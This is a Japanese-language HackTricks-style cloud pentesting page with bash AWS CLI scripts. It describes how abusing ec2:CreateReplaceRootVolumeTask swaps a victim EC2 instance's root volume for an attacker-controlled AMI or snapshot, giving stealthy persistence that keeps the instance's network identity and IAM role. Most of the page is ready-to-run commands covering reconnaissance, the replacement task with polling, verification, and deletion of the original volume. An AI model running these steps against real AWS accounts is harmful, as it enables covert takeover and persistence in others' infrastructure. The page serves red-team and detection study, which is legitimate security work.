# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)

{{#include ../../../../banners/hacktricks-training.md}}

稼働中のインスタンスのルート EBS ボリュームを、攻撃者が管理する AMI または snapshot から復元したボリュームと差し替えるために **ec2:CreateReplaceRootVolumeTask** を悪用します。インスタンスは自動的に再起動され、ENIs、プライベート/パブリック IP、アタッチされた非ルートボリューム、およびインスタンスのメタデータ/IAM ロールを保持したまま、攻撃者管理下のルートファイルシステムで起動し直します。

## 要件
- 対象インスタンスが EBS-backed で、同じリージョンで稼働していること。
- 互換性のある AMI または snapshot：ターゲットインスタンスと同じアーキテクチャ／仮想化方式／ブートモード（および該当する場合は product codes）であること。

## 事前チェック
```bash
REGION=us-east-1
INSTANCE_ID=<victim instance>

# Ensure EBS-backed
aws ec2 describe-instances   --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceType' --output text

# Capture current network and root volume
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
```
## AMIからルートを置き換える（推奨）
```bash
IMAGE_ID=<attacker-controlled compatible AMI>

# Start task
TASK_ID=$(aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID   --query 'ReplaceRootVolumeTaskId' --output text)

# Poll until state == succeeded
while true; do
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION     --replace-root-volume-task-ids $TASK_ID     --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
done
```
スナップショットを使用する代替方法：
```bash
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
```
## 証拠 / 検証
```bash
# Instance auto-reboots; network identity is preserved
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)

# Compare before vs after
printf "ENI:%s IP:%s
ORIG_VOL:%s
NEW_VOL:%s
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"

# (Optional) Inspect task details and console output
aws ec2 describe-replace-root-volume-tasks --region $REGION   --replace-root-volume-task-ids $TASK_ID --output json
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
```
期待される動作: ENI_ID と PRI_IP は同じままで、root volume ID は $ORIG_VOL から $NEW_VOL に変わります。システムは攻撃者が制御する AMI/snapshot からのファイルシステムで起動します。

## 注記
- API はインスタンスを手動で停止する必要はありません；EC2 が再起動をオーケストレーションします。
- デフォルトでは、置き換えられた（古い）root EBS volume はデタッチされてアカウント内に残されます（DeleteReplacedRootVolume=false）。これはロールバックに使用できるか、コストを避けるために削除する必要があります。

## ロールバック / クリーンアップ
```bash
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
# you can create a snapshot and replace again from it:
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL   --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP

# Or simply delete the detached old root volume if not needed:
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
```
{{#include ../../../../banners/hacktricks-training.md}}
